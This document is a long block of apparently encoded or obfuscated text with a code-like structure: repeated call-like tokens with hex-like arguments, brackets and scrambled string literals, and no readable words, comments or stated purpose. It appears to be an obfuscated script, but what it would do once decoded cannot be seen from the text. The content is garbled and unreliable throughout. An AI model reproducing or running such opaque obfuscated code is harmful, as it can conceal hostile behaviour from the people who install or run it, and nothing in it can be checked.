M+@GNQG*UUHUUQBD@LCLB.D(NUU]F]MEC\]*F]DGLB\YUUUQGEEYUUUQBD@LCLB\\UUUUUUQUUUHUUUUUQBD@LCLB.D(NUUU]TUUUUUQG*UU		UUUUUUTUQUUUUUU		UTU*F]MEC\]F]DGLM\YUUUUQ\\UUUUUU NUUUUUUQUHUUUUQ29:749&.*F]DGLL\(NUUUUUUUU]TUUUUF]DEBC\]Q\UU		UTUUMAL]LL\]QYUUMAL]DFEE\\\UUUUUUUUU NU]TUUUUUUCLG]DFED\]MAL]DFEG\YUUUUUQG*\\UUUUAAMGG*  ]F]DFEF\YUUCLG]DFEA\\NU NUUUUUUUUUQFGB UUHUUURRUU[UUUUQG*UUUU[UMAL]DFE@\U[UUQUU[UF]DFEC\NUUUQXK ]*F]DFEB\\NUUQBGBUHUUUUQXK*]R&RU[UUUCLG]DFEM\UU[UUUQFGB UU[UUCLG]DFEL\UU[UUUU*F]DFDE\UUUU[UUUUMAL]DFDD\\NUUUUUUUUU]QBGBUUUUHHHU \UQXK ]MAL]DFDG\\NUUU NUUUUUUUUUUUQDFFUUUUHUL*MG ]QBGB\NUU]TUUUUMAL]DGCF\]QDFF\\UUUUUUQXK ]*F]DFDF\\N NUUUU]F]BLC\]QYUUQDFFYU \\UUQXK ]MAL]DFDA\\NUUUU NUUUUUQDFF.(UUHUQNUUUQDFFUUUUUHUUMAL]BEG\]QDFF\NUUUUUUQLAUUHUUCLG]FLC\]QDFF\NUQ**C@FUUHUUQXK ]QXK]R RUUU[UUUUUMAL]DFD@\UU[UUUUUQFGB UUU[UUUU*F]DFDC\U[UUU*F]DFDE\YUQLA\\NUU]Q**C@FUUUHHHUU\UUAAMGG*  ]F]DFDB\YUUUU*F]DFDM\\NQXK ]F]DFDL\\N NUUUQXK ]CLG]DFDA\\NUUUUUUUUUU]!UUUQD@D*G\UUUUUUUUUAAMGG*  ]F]DFDB\YUUQD@D*G\NUUUUUU]CLG]DFGE\]Q29:749&.F]DGLL\(\\UUUU5Q29:749&.F]DFGD\(XK ]F]DFDL\\NUUUUUU]0UUQD@D*G\UUUUUUUUUUAAMGG*  ]CLG]DFDB\YUUQD@D*G\NUUUUU]F]DFGG\]Q29:749&.*F]DFGD\(\\UUU5Q29:749&.CLG]DFGD\(XK ]CLG]DFDL\\NUUUUUUUUUUUUUU UUUAM*MEC]\UUUUUUUUQGEEUHUU NUU]QGEEUTHHUUUUU \UU UUQGEENUUUUU]T*F]DFGF\]*F]DFGA\\\UUQGEEUUUHUUUUWWNQAHFC	DGFNQBFAFMHQA+GELNUUUU UUQGEENQM@FH%=%*<;!*84-Z%=%*<;!*84-NQGHQM@F^DENUUUUQGEEUUUUUUHUUU5]*F]AEG\]*F]DFG@\\\NUUUUU]TMAL]DFGC\]QGEE\UUUUUU		UU*F]DGCA\]QGEE\UUUUIU]A^LC\\UUQGEEUHUUUUWWNU UQGEENUUUU UGEEF@EA]\UUUUUUU]T]CLG]DGGC\\\U NQGEUUUUUHUUF]DDC@\]DCLLEEFE]\YUUUUUCLG]LMM\\NUQMAMLCAUUUUHUUUL ]47&%4!=UU[UCLG]DFGB\YUUUU]AIID\\UUU[UUF]DFGM\NQFLUHUUL ]47&%4!=U[UUUMAL]DFGL\YUUU]DGA+DDC\\NQM@AUUHUUUU*F]DFGF\]MAL]DFFE\\UUJU* ]\UOUUUWWNUUUUU]QM@AUUHHHUUUUWW\UUUUUUUUUUUUQM@AUUUHUU]*F]DFGF\]F]CAE\\UUUJU** ]\UOUUUUWW\UUUUU[UUMAL]DFFD\NUZZUUUU8&$9UU UQBBAUUUHUUUUMAL]AEL\]*F]DFFG\YUUUUF]DFFF\YUQM@AUUU[UUUURZRUUUU[UUUUUUQMAMLCA\NUUUUUUU]MAL]DFFA\]QBBAYUUCLG]DFFF\\UUTHHUE\UQBBAUUHUU*F]DFFF\U[UUCLG]DFF@\]QBBAYURZR\NUUUUQBFUUUHUUUUUUMAL]DFGF\]MAL]BMF\\UJUU* ]F]DFFC\UU[UU*E*@]CLG]DFGL\\\UUOUWWNUUUUUUUU]QBFUUUUHHHUUUUWW\UUUQBFUHUUU*F]DFFF\UUUUU[UUUUUUE]WW\U[UMAL]DFFB\UU[U*E*@]*F]DFFM\\NU]MAL]DFFA\]QBFYUUUUCLG]DFFF\\UTHHUUE\UQBFUUHUUUU*F]DFFF\UUU[UMAL]DFF@\]*F]DFFL\]CLG]DFAE\YUUUUUWWYUUUUUUQBF\YUUUURZR\NUQBUUUHU]Q29:749&.*F]BGG\(\UUSSUUCLG]DFAD\]Q29:749&.MAL]DFAG\(\UUJUQ29:749&.*F]DFAG\(UUUUOUWWNUUUUUUU]CLG]DGCA\]QB\UUIUUUUUU]ME^GE\\UUUUUUUUQBUUHUUUUGFC*@]*F]ADF\YUUWW\NUUUUUU]MAL]DGCA\]QB\UUUUUIUUUU]DGE+GM\\UUUUQBUUUHUUAM*MEC]\NUUUUQ*@*UHUWWNUUUUUUU]]Q29:749&.CLG]AMM\(\UUUUSSUMAL]DFAD\]Q29:749&.CLG]AMM\(\USSUUU*F]DFAF\]Q29:749&.MAL]AMM\(\UUUUUUKUU]BGXGG\\UUUUQ*@*UHUUUUUUQ29:749&.*F]AMM\(NUUUUUUUUUUUQ*@*UUHUUUUUGFC*@]*F]BDL\YUUWW\NUUZZUUUUUU]F]DFAA\]Q*@*\UUUUUKUUUU]AD^L\\UU*GCGG]CLG]BDL\YUQ*@*YUMAL]DFA@\\NUUUUUUQUUUHUCLG]DFGF\]CLG]BMF\\UJUUU]\U*F]DFAC\]* ]RZR\YUUUU%=%* '9*%4!=\UUUUOUURZRNUUUUUU]QUUUHHHUWW\UUQUHUUURZRNU]*F]DFAB\]QYUUXD\UUTHHUURZR\UQUU[HUUURZRNUUQBGEDUUHUU]UUUUUUUUMAL]DFAM\UUHKUUABDM]\YMAL]DFAL\UHKUU* BEGAE]\YUUUCLG]DF@E\UUUHKUUUUUQY\NUQ B DDEUUUHUUU]UUUMAL]DF@D\UUHKUUQBBAYUCLG]DF@G\UUUHKUUQGEYUUUCLG]DF@F\UUHKUUUUQBFYUUCLG]DF@A\UUUUHKUL ]47&%4!=UUUU[UUUUUMAL]DF@@\YUUUU]AL+CD\\YUMAL]DF@C\UUUHKUQ*@*YUU\NUQ@*AUUHU GLAF F**]MAL]DF@B\YUWW\NUUUUU]T*F]DF@M\]Q@*A\UU		UUUUF]DF@L\]Q@*A\UHHHUE\UUUU NUUUUUUUUUUQMALUUHUUUMAL]FLL\]AEFBL*]MAL]DFCE\]Q B DDE\YUQ@*A\\NQGFAACUUUHUUUF]DFCD\UUU[UUUUCLG]FLL\]F]DFCG\]QBGED\\UUU[UMAL]DFCF\NUUQGFAACU[HUUUCLG]DFCA\U[UQMALUUU[UUCLG]DFC@\NUUU*GCGG]F]DFCC\YUQGFAACYUUUU*F]DFA@\\N*GCGG]MAL]DFCB\YUUUUUMAL]DFCM\]]\UUUQBUU[UU]\UUQ*@*UUU[UQ@*AUUU[UUUUUUR	RUUU[UCLG]BB\]E]WW\\\YUUUCLG]DFA@\\NUUUQ EUUUUUUHUUUUUMAL]DFGF\]MAL]BMF\\UJUUUU* ]*F]DFFC\UUUU[UUUUU*E*@]MAL]DFCL\\\UOUUUUUWWNU]Q EUUHHHUUUUWW\UUUQ EUHUUUUUCLG]DFFF\UU[UUUE]WW\UUU[UF]DFBE\UUU[UU*E*@]F]DFBD\\NUUUUUUU]CLG]DFBG\]Q EYUUU*F]DFFF\\UUTHHUUUUE\UUQ EUUUHUU*F]DFFF\UUU[UUCLG]DFBF\]MAL]DFFL\]MAL]DFAE\YUWWYUUQ E\YUURZR\NU*GCGG]F]DFBA\YUUUUUUQ EYUUUMAL]DFB@\\NUUU]CLG]DF@L\]QB\UUUUIUU]EGB^EF\\UU NUUUUU*GCGG]F]DFBC\YUUQBYUUCLG]DFB@\\NUUUUU]TBML@AE]\\UUUU NUUUUUQCD UUHUUGMFM]\NUUUUUU]T5MAL]DFBB\]QCD \\U*DAA]QCD YUUUU]AMG^DD\YU \NU]T5MAL]DFBB\]QCD \U		UUUUUT5CLG]MBM\]QCD \\U NUQDEMUHUQCD UUUU[UUURZRUU[UQFLU[UUUUMAL]LMM\NQHDAF	DCLNQFAHQ+DFCNUQCLCAMUHUUL*AAC*AL]UU*F]DFBM\YUUU]R**&9 2**RYUR**/<%*;480**RYUUUR**"'<!0*>0,**RYUUUR**#0'&<:;**R\Y]QGEYUUQMAMLCAYUUL ]47&%4!=UUUU[UUCLG]DF@@\YUU]DD^D\\YUMCCFB]\\UU\NUUUUU]TQCLCAM\UUUUUUUUU]]\U*]CLG]BAB\YUE\UUUUUUKUUE\UUUAAMGG*  ]F]DFBL\YUMAL]DFME\\NU NUUUUUUUUUUU]T5CLG]DDLE\]QDEM\U		UUU*F]DFCM\]*MB @AB]]\UUUU5F]DDG@\]QDEM\\\UUTHHUUMAL]DFCM\]QCLCAM\\UUUUUFLGEBGB L]QDEMYUUUQCLCAMYUUCLG]DFMD\\NUUEEABB *FM]QDEMYUD AC ]\\NUF* ]QDEMYU]EM^E\\NUUELAAL*]QDEM\NUUUUUUUUUUUUU]!UUQD@D*G\UUUAAMGG*  ]*F]DFBL\YUQD@D*G\NUUUUUUUU]0UQD@D*G\UUUUU UUUL*AAC*AL]QYUQCMD@DYUUUQEG\UUUUUQ*AUUUUHUUUU NUUUUUUUUU]Q*AUUUHHHUUUU \UUUUUQ*AUHUU*F]DFGF\]MAL]DFMG\\UUUJU*]D*LB@@BE]\\UUOUUUNUUUU]TUMAL]DFMF\]Q*A\\UUUUQ*AUHUUULEA*M A]*F]B@D\YU\NUUUUUU]TUF]DFMA\]Q*A\\UUQ*AUUHUUU]\NUUUUZZUUXUXUUQCB*UUUUUHUUUWWNUUU]]Q*A.Q(\UUUSSUUUU*F]DF@M\]Q*A.Q(\\UQCB*UUHUUQ*A.Q(NQ@LALLHG@^CFNQ GGCDHQ@LALLXADNUUUUUUUU]*F]DFM@\]QCB*\UUIU]F^AB\\UUUUUUQCB*UHUUUGFC*@]QYUWW\NUU]*F]DFM@\]QCB*\UIUU]ED@^ED\\UU UNQAM@GE DUUHUMAL]AEG\]QCB*YU \NUU]TQAM@GE DUU		UUCLG]DFMC\]QAM@GE D\UUUUUIUU]EF^EG\\UU UUUUUNUUUUUU]CLG]DFBG\]QAM@GE DYUUUUUMAL]G@L\\UHHHUUU\UU UNUQAM@GE DUUUHUUUUMAL]AEL\]QCMD@DYUUQEGYUUUQAM@GE D\NUUUUUUU]]MAL]GCD\\\UUUUUUUUUUUUU5**]QAM@GE DYUU!:>0;*%4'&0\NUUUUUUUUUU]!UUUUQD@D*G\UU UUUUNUUUUUUUUU]0UQD@D*G\UU UNUUUUUUUU]T@LE*B ]QAM@GE D\\UUU UNU UUQAM@GE DNUUU UUUU C@BD]\UUUUUUUUUUUUUUU]TCLG]DFGF\]F]DFMG\\\UUUU NUUU]T]MAL]DFMB\\\U NQ*LLCUHUUUUCACEBG]\NUUUUUUUU]TQ*LLC\UUUUUUUUGEEF@EA]\NUUUUUUUUQ*LLCUUUUHUUCACEBG]\NUUQUHUUGFC*@]CLG]DF@B\YUWW\NUUUUUUUUUUU]*F]DFMC\]Q\UHHHUUUE\UQUHUUUF]DFMM\]W)EEWYUUU]GFXB\\NUUUUQA@CUUHUUUUUU]]Q29:749&.F]DFAG\(\UUUSSU*F]DF@M\]Q29:749&.*F]DFAG\(\UUUUSSUUUUCLG]DFMC\]Q29:749&.*F]DFML\(\UKHUU]FD^CL\\UUUJUUQ29:749&.CLG]DFLE\(UUUOUGFC*@]*F]DFBC\YUUUWW\NUU]CLG]DFLD\]QA@C\UUUUUUIUUUU]DC^MA\\UUQA@CUHUAM*MEC]\NUUQG* @**DEMUUUHUUU]]Q29:749&.CLG]AMM\(\USSUUUUCLG]DFLG\]Q29:749&.F]AMM\(\UUUSSUF]DFLD\]Q29:749&.CLG]AMM\(\UUUKU]A@+FD\\UUUJUQ29:749&.MAL]AMM\(UUOUUGFC*@]F]DFLF\YUUWW\NUQD CMFLUHUF]DFCM\]QA@CUU[UQG* @**DEMUUUUU[UQUUUU[UUUUR	RUUU[UF]BB\]E]WW\\\NUUUUUUU]GFC*@]CLG]DFCB\YUWW\UUUUTHHUUUUQD CMFL\UUUUUUUGEEF@EA]\NUQ*LLCUUUHUCACEBG]\NUU]TBML@AE]\\UU NUUUQADCEUUHU GBME M L]\NQMGL*FHDM_LNQAFGM HQMGL*FXDDNQ*BUUHUU5*F]DDLE\]QADCEUUUU[UUUCLG]DFLA\\NUUU]Q*BUSSUQ*LLCUUSSUUUUUU*]CLG]DFL@\\\UUUU NU*CCM@@AD]\NUUUG*L@L]\NUUUUUUU *DL BA]\NUQAE@UHUU5F]DFLC\]QADCEU[UU*F]DFLA\\NUUUUQ*LLCUUUUUUHUUUUUCACEBG]\NUUU]QAE@USSUQ*LLC\UUUU*]MAL]DFL@\YUUUUDYUU]E@C^EC\\NUUUUU]!UUUUQD@D*G\UUUUUUAAMGG*  ]*F]DFLB\YUUQD@D*G\NUUUUUUUU]0UUQD@D*G\UUZZUXU UU"%U3 U&U0U UG*L@L]\UUUUUUUUUUUUUUUUUUUU]T]F]DFMB\\\UUUU NUUUUUUU]F]DFLM\]\UHHHUMAL]MA\\UU NUUUQAMAUUHUMAL]DFGF\]*F]DGBM\\UJU5F]DFLL\]F]@MC\\UUUOUNUUUUUUU]TQAMAUUU		UQAMAUUUHHHUWWUU		UUQAMAUUHHHUF]DAEE\\UQAMAUUHUUUU*F]@ML\NUUQFLUUUHUUL ]47&%4!=UUUUUU[U*F]DAED\YUUU]DBA+DCC\\NUUUQADCEUUUUUUHU GBME M L]\NQCD UUHUUUUGMFM]\NUUQM@LACB*UUUUUHUUUUL ]47&%4!=UUUUUU[UMAL]DELD\YUU]A^A\\UU[UF]DAEG\NQA FA@UHUUQADCEU[UURZRUUUUUU[UQM@LACB*NQDAB@UUHUUUQADCEUU[UUU*F]DAEF\UU[UUUQM@LACB*NQ@F FLDH%=%*84?:'*#0'&<:;NQC@@HQ@F FLD_MNUUUUQGEUUHUUUUUCLG]DDC@\]DCLLEEFE]\YUU*F]DAEG\\NUQMAMLCAUUHUUL ]47&%4!=U[UUF]DFGB\YUUUUU]DCXM\\UUU[UCLG]DFGM\NQA@UUUUHUUUUU]\UUUU*]MAL]DAEA\YUUE\NUUUUU]QA@USSUUUUUCLG]DDAF\]\UXUUUUQA@UUIUU]EC^ECG\\UUUUEE*A]QA FA@YUUU \NUUUUUEE*A]QDAB@YUUU \NUUUU]]F]CCM\]47&%4!=YUUUMAL]DGCM\\YUMAL]CCM\]QADCEYUUUMAL]DAE@\\\UUUUUUUUUQ MGEF\UUUUUUQFAFEUUHUQ MGEFU[UURZRUUUU[UQAMANUUUQFFELUUUHU5*F]DAEC\]QFAFE\UUUUJUUUUU5*F]DAEB\]QFAFE\UUUOUUWWNUUUUUUU]F]DFLG\]QFFEL\UUUUUSSUUUUUCLG]DFBG\]QFFELYUQM@LACB*\UUTHHU\UUUQLM@C GUUUHUUF]DAEM\]MAL]DAEL\UUU[UUUUUF]DADE\]QM@LACB*YUURZR\UU[U*F]DADD\YUUW)WYUQFFEL\NUUUUUUUU]*F]DFLG\]QLM@C G\UUUUSSUUUUUUQLM@C GUUTHHUQFFEL\UUUU FAF@D]QFAFEYUUQLM@C G\NZZU8&$9UMU6!0UUUUUUU NUUUQ@DUUHUUUL*AAC*AL]CLG]BFM\YUU]R**&9 2**RYUR**/<%*;480**RYUUUR**<;&!*=4&=**RYUUUR**14!4*1<'**RYUUR**6:;!0;!*1<'*7CA**RYUUUUUR**#0'&<:;**R\Y]QGEYUQMAMLCAYUQFLYUUUMAL]DADG\UUU[UL ]47&%4!=U[UUUUUUCLG]A@\YU]DAXC\\YUUUUCLG]FLL\]]CLG]DADF\\UUUUJUU"%*6:;!0;!*1<'UOU GBME M L]\\YUUMCCFB]\\UUU\NUUUUUUU]TQ@D\UUUZZUUXUUUUUUU]]\UUUU*]F]BAB\YUUE\UUUUUUKUUE\UUAAMGG*  ]F]DADA\YUUMAL]DAD@\\NUUUUUU NUUUUUUUU]T5CLG]DFBB\]QCD \\UUUU*DAA]QCD YU]EDGL^EA\YUU \NQCL EHF_CNQLGBHQCL EXFANUQAMMGUHUUNUUU]T5F]DFLC\]QDAB@\UU		UUUUUCLG]DADC\]*MB @AB]]\U5CLG]DAEB\]QDAB@\\\UUUUTHHUF]DADC\]Q@D\\UUUUUFLGEBGB L]QDAB@YUUUQ@DYUUUU*F]DADA\\NUEEABB *FM]QDAB@YUD AC ]\\NUUUF* ]QDAB@YUUU]AEB^DF\\NUELAAL*]QDAB@\NUUQAMMGUHUU NQFLAELUUHUUUUUWWNUUUUU]]F]CCM\]47&%4!=YUUUCLG]DAE@\\YUUCLG]CCM\]QADCEYUF]DADB\\\UUUUUUQBE@C\UUUUUUUQ  EUHUU5CLG]DFLC\]QBE@CUUUU[UURZRUU[UUUUUUQAMA\UUUUUUJUUUU5F]DADM\]QBE@CUU[URZRUU[UQAMA\UOUUWWNUUUUU]*F]DADL\]Q  E\UUSSUUF]DFED\]F]DAGE\YUUQ  EYUUUQ@FGBME\\UUUUUUUUQ@BGCGUUHUUUCLG]DGMD\]Q@FGBME.G(\NUUU]Q@BGCGUUUTHHUWWUUUUSSUU]Q@BGCGYUU*F]DAGD\\UUHHHUUUUUUSSUUTMFE]Q@BGCG\\UUUUUUUUQFLAELUHUUUUUUQ@BGCGNUUUNUUUUUUQM GUUUUHUCLG]LLF\UU[UUUUUU]QFLAELUUUTHHUWWUUJU*F]DAGG\UUUU[UUUUMAL]DAGF\]QFLAELYU \U[UU*F]DAGA\UUUOUUUWW\U[UMAL]DAG@\UUU[UQM@LACB*UUUUUU[UUUUCLG]DFC@\[UUF]DAGC\U[UUUF]DAGB\[UUCLG]DAGM\UUUU[UUUCLG]DADC\]Q@D\UU[UF]DAGL\NU]T5F]DFLC\]QA FA@\U		UCLG]DADC\]*MB @AB]]\UUUUUU5*F]DAFE\]QA FA@\\\UUTHHU*F]DAFD\]QM G\\UFLGEBGB L]QA FA@YUQM GYUUUF]DAFG\\NUEEABB *FM]QA FA@YUD AC ]\\NUF* ]QA FA@YU]FAL^BD\\NELAAL*]QA FA@\NUQAMMGUUUUHUUU NQFDUUHUU NQ DAUUUUHUUU*MB @AB]]\U5*F]DAFF\]QDAB@\\NUUUU]T5CLG]DAEC\]QDAB@\UUUUUU		UQ DAUTHHUUQ@D\UUUUAAMGG*  ]*F]DADA\YUUUUMAL]DGDL\\NUUEE*A]QDAB@YU \NUQFDUUUHUUUNUUUUQ DAUUHU*MB @AB]]\UUUUU5*F]DAFF\]QA FA@\\NUUUUUUUU]T5F]DAFA\]QA FA@\UU		UQ DAUUUTHHUQM G\UUUUUUAAMGG*  ]*F]DADA\YUF]DGDL\\NEE*A]QA FA@YU \NUUUQFDUUUHUUNQGCBGCFHGG_GNQAAHQGCBGCFXG@NUUUUUUUU ]Q DA\NUUU]TQFD\UUUQ*@LAC LEUUUUUHUUU]\UUUU*]MAL]DAF@\YUE\UUUU^UDNUUU *]MAL]DAF@\YUQ*@LAC LEYUUUF]DFB@\\NU]Q*@LAC LEUKHUUUU]ED^EG\\UUU *]F]DAFC\YUUUF]DDAF\]\YUUUUU*F]DFB@\\NUUUUUAAMGG*  ]CLG]DAFB\YUUMAL]DAFM\\NUUU NUUUUUUUQMMAGMUUHU]CLG]CCM\]47&%4!=YUUU*F]DADB\\YUUF]CCM\]QADCEYU*F]DADB\\\NQMDCUHUU]\NUUUUU]QMMAGMUUUUQBD E\UUUUUUUUUUUUQCGBUUUHUQBD EUUU[UUURZRUUU[UUUQAMANUQUUUHU5MAL]DAFA\]QCGB\UJUUU5F]DAFL\]QCGB\UOUUENQ UHU5F]DAAE\]QCGB\UUUUUJUUUUU5*F]DAFF\]QCGB\UUUUUOUUWWNUUU]TCLG]DAAD\]Q \\UUUUUAAMGG*  ]*F]DAFB\YUU*F]DAAG\\NUUUU NUUUU]MAL]DAAF\]Q YUUUQM@LACB*\UUHHHUU\UUUUUUUUUU]Q UUUUUSSUUUMAL]DFAB\]F]DAAA\]Q \YUUUUUUXD\UUUUTHHUUUW)W\UUQ U[HUW)WNUUUUUQAGBUUUHUUUF]DAA@\U[UUUUQA FA@U[URWRUU[UU%=%*0:9NUUUUUUUUU] FAF@D]QCGBYUUQ U[UUQAGB\\UUUUUUUUU]Q\UEEABB *FM]QCGBYUQ\NUEEABB *FM]QCGBYUUU*F]DDAF\]\\NUF* ]QCGBYUUUU]ADL^D\\NU *]*F]DAAC\YUUUUUMAL]DDAF\]\YUUUUUMAL]DFB@\\NQMDC.(UHUU]QCGBYUUUUQ \NUUUUUUUUUU]]\U*]CLG]DAAB\YUUUUE\UUUKUUUE\UUUU *]CLG]DAAB\YUUEYUU*F]DAAM\\NUUUUUU]]\U*]F]DAFC\YUUUUUE\UUUKUUE\UUU5*]CLG]DAAL\\NUUUUUUUUUZZU5 UUUQ@ALCUUUHU]\UUUU*]MAL]DAAB\YUE\UUUUUU^UUDNQ*@CH%=%*<;!*84-Z%=%*<;!*84-NQCAFHQ*@C^GENUU *]CLG]DAAB\YUQ@ALCYU*F]DAAM\\NUU]Q@ALCUKHUUU]D^G\\UU *]*F]DAAL\YUUUUUMAL]DDAF\]\YUUF]DAAM\\NUUUUUUAAMGG*  ]*F]DAFB\YUF]DAFM\\NUNUUUUUU]QAMMGUUSSUUUUTFC@**CEM]\\UUUUUUUAAMGG*  ]*F]DAFB\YUF]DA@E\\NUUUUUUEE*A]QA FA@YUUU \NUEE*A]QDAB@YUUUU \NUU]QMDCUUUQL D\UU FAF@D]QL D.E(YUQL D.D(\NUQ*@LAC LEUHUUUUU]\U*]MAL]DAAB\YUUE\U^UUUUUDNUUUU *]MAL]DA@D\YUQ*@LAC LEYUUCLG]DAAM\\NUUU]Q*@LAC LEUUUUKHU]ED^EG\\UUUUUUU *]CLG]DAAL\YUUUCLG]DDAF\]\YUUU*F]DAAM\\NUUUUAAMGG*  ]CLG]DA@G\YUUUUMAL]DAFM\\NUUUUUUUUUUUUUUUUUUUU]!UUQD@D*G\UUUUUAAMGG*  ]F]DA@G\YUUQD@D*G\NUUU]0UUQD@D*G\UUUUUUUUUU UUUCL EMLD]\UUUUUZZUUUXUUZZU"%U=U9UU UUUUUU]TMAL]DFGF\]MAL]DG@G\\\UU NUUUUUUU]]CLG]CEF\\UU		U]F]DA@F\\\UUUUUUUU]]\UU5*]F]DA@A\YUUE\\UUUU5*]F]DA@A\\NUUUUU5 *]CLG]DA@D\YUUUEYUUUMAL]DAAM\\NZZUUUU"%U%U!UUUUUU NUUUUUQFFGBDUHUU]\U5*]F]DA@A\YUUE\NUUUUUUU]TQFFGBD\UUUU NUUUQ*DBUUUUHUUUF]DA@@\]MAL]DA@C\\UUUJUU]\UUU5CLG]DA@B\]*F]DA@M\\UUOUUENUU]Q*DBUUIHUUUE\UQ*DBUUHU]E^EA\NUUUUUU]CLG]DDAF\]\UUXUQFFGBDUUUIUUUQ*DBU^U]ED^EG\\UUUU NUUU5 *]CLG]DA@A\YU*F]DDAF\]\YUUU*F]DA@L\\NQGDBUUHUUUU]\U5*]MAL]DA@D\YUE\UUUU^UDNUUUU5 *]MAL]DACE\YUUUUUQGDBYUUUCLG]DA@L\\NUUU]QGDBUUUKHUUU]AXD\\UUUUU5*]MAL]DACD\\N5 *]CLG]DAAL\YUUUF]DDAF\]\YUUMAL]DACG\\NUUUAAMGG*  ]F]DA@G\YUCLG]DACF\\NUUUUUUUUUUUUU]!UQD@D*G\UUUUUU]0UUUQD@D*G\UUUUUUU UUEGFDD]\UUUUUUU]T]MAL]DFMB\\\UUU NUUU]CLG]DFLM\]\UHHHUUUUUU*F]MA\\U NUUUUU]TDED@LLLD]\\U NUUU]TBML@AE]\\UUUUUU NUUUUQCD UUUUHUUGMFM]\NUUUQDDAUUUUUHUUQCD U[UUUU*F]DACA\NUQMEUUHUUUUU*F]DAC@\UUU[UW)WUUU[UUUUUUF]DACC\UUU[UW)WUUU[UUUUUUCLG]DACB\UU[UUUW)WUUUU[UUUUMAL]DACM\U[UUUUW)WUUUU[UCLG]DACL\UU[UUUW)WU[UU*F]DABE\UUUUU[UUUW)WUUUU[UUUUCLG]DABD\UU[UUW)WUUU[U*F]DACL\UUU[UUW)WUU[UUF]DABG\UU[UUW)WNUUQ UUHUUUU5F]DABF\]QDDA\UUUUUUJUUUU5*F]DABA\]QDDA\UUOUWWNUUUUUUUU]T*F]DAAD\]Q \\UUUUUUAAMGG*  ]F]DAB@\YU*F]DAAG\\NU NUUUUUUUU]CLG]DAAF\]Q YUUCLG]DAC@\\UUHHHUU\UUUU FAF@D]QDDAYUQ U[UUUUQME\NQAGCHDLL	BANQHQAGC+GDFNUEEABB *FM]QDDAYUD AC ]\\NF* ]QDDAYUUUU]BB@XF@@\\NUQEADUUHUUUUGDG]\NUU]TQEADUUUUU		UUF]DFLD\]QEAD\UIU]AFF^CB\\UUU NQGEUUUUHUMAL]DDC@\]DCLLEEFE]\YUUUF]DABC\\NUUUQADCEUUUHUU GBME M L]\NUUUUUQM@LACB*UHUL ]47&%4!=UUUUU[UCLG]DELG\YU]E@^EF\\U[UUUF]DABC\NUUQ EGFEUUUUHU]UUUQADCEUU[UURZRUU[UUUUUQM@LACB*YQCD UUUUU[UUURZRU[UUUUUQM@LACB*YU\NUUQMFGMUHUQADCEUU[UUUURZRUUU[UQM@LACB*NQG*L FHDFMCNQGCHQG*L FPD@NUUUU]Q EGFEUUUUUQGEE\UUUUUUUUQBD EUHUMAL]DGCL\]QGEE\NU]5MAL]MBM\]QBD E\U		UUUUUU*DAA]QBD EYUUUUUU]E@^EDLD\YU \\UUUZZU"%U 0'OUUXUUQMFGMUUUUHUUUQGEENUUNUUUUUUUQCB*UUHUUUFDG]\NUUUQ@DUUUUUHUUUUUL*AAC*AL]UUUUMAL]DABB\Y]R**&9 2**RYUUUR**%9 2<;*74&0CA**RYUUUUUUR**#0'&<:;**R\Y]QGEYUUUQCB*YUMCCFB]\\UUUUUU\NQLBMHBF^MCNQG@LACHQLBMXG@NUUUU]TQ@D\UUUUU]]\U*]CLG]DABM\YUE\UUUUKUE\UUAAMGG*  ]*F]DABL\YUUCLG]DAME\\NU NUUUUUUQFLAELUUHUWWNUQABED@MUUUHUUU]47&%4!=UUU[UCLG]DAMD\YUQADCEU[U*F]DAMG\\NUUUQ*LD* MFUHUUF]DA@@\]MAL]DAMF\\UJUUU5CLG]DAMF\]MAL]DAMA\\UUUOUUNUUUUUUU]*F]DAAD\]Q*LD* MF\UUUSSUUUQ*LD* MFUUTHHUWW\UUUUUUUUQABED@M.(UUHUU*F]DAAA\]47&%4!=YUUUUCLG]DADB\\UU[URZRUUU[UUQ*LD* MFNUUUQABED@M.(UUHUQADCEUU[UURZRU[UUQ*LD* MFNUUUUUU]QABED@MUUUUUUUQ***\UUQE@BAUUHU5MAL]DAM@\]Q***\UJUUUU5*F]DABA\]Q***\UOUUUUUUWWNUUUUUUUUU]T*F]DAMC\]QE@BA\UUUU		UUUQE@BAUHHHUUWW\UU NUUUUUU]CLG]DFED\]F]DAMB\YUUUUUUQE@BAYUUQ@FGBME\\UUUUUUQ@BGCGUUHU*F]DGMD\]Q@FGBME.G(\NUUUUUUUUU]Q@BGCGUUTHHUWWUUUSSUUUU]Q@BGCGYUUUUF]DAGD\\UHHHUUUUUSSUUUTMFE]Q@BGCG\\UUUQFLAELUHUUUUQ@BGCGNNUUZZUXUUXUUUUU]QFLAELUTHHUUUUWW\UUUUUUUQ@DUUUUUHUUUU*F]DAMM\]F]DAML\YUMAL]DALE\UU[UUUUCLG]DAGF\]QFLAELYUU \U[UUU*F]DALD\YUUUUQ@DYUUUUD\NUUUUUU]T*F]DAMC\]Q@D\\UUUUUUAAMGG*  ]F]DABL\YUUF]DALG\\N NUUQBLMAUUUHUU NQ C EFDUUHU NUUUU]5F]DABF\]QMFGM\\UUZZU5 UUQ C EFDUUUHUUUU*MB @AB]]\UU5*F]DABA\]QMFGM\\NUUUUUUUUUUUU]MAL]DAMC\]Q C EFD\UUUSSUUUQ C EFDUUHHHUUQ@D\UUUUUUUUUUUQBLMAUUUUUHUUNUZZU33<UOUUUUQGMGDUHUU]UU47&%4!=UUU[U*F]DALF\YUU]]CLG]DADF\\UUUUJUUU"%*6:;!0;!*1<'UOUUUQADCE\U[UMAL]DALA\YU\NUUQLMFUUUHUUUU]\UUU*]F]DAL@\YUUUE\NUUUUUUUU]QLMFUSSUMAL]DALC\]\UUXUUQLMFUUUIUUU]MCFCF^FB\\UUEE*A]QMFGMYUUU \NUU]QGMGDUUUUQAMF@*L\UUUZZUUUUUUUQAEUUUHUUU5F]DAM@\]QAMF@*L\UUJU5*F]DABA\]QAMF@*L\UUUUUOUUUUWWNUUUUUU]*F]DAMC\]QAE\USSU*F]DAAF\]QAEYUUUQM@LACB*\UTHHUUU\UUUQABA*UUHUUA  DDDG]QAEYUUQM@LACB*\NUUUUUUU]CLG]DALB\]QABA*\UUSSUUUUQABA*UUUUTHHUUUUUQAE\UU FAF@D]QAMF@*LYUQABA*\NUUUUUUUUUUUUUUUUUUU NUUUUUUUUUUUUUU]QBLMA\UUUQ @MH]EA^EL\NQAGEHQ @MPCNUFLGEBGB L]QMFGMYUUQ@DYUUF]DALM\\NUUUUUUEEABB *FM]QMFGMYUUUUD AC ]\\NUUUF* ]QMFGMYUUUU]EDEM^EL\\NUUELAAL*]QMFGM\NUUUUUUQ DAUUUUUHUUUU5CLG]DAM@\]QMFGM\UUUJUUUU*MB @AB]]\UUUU5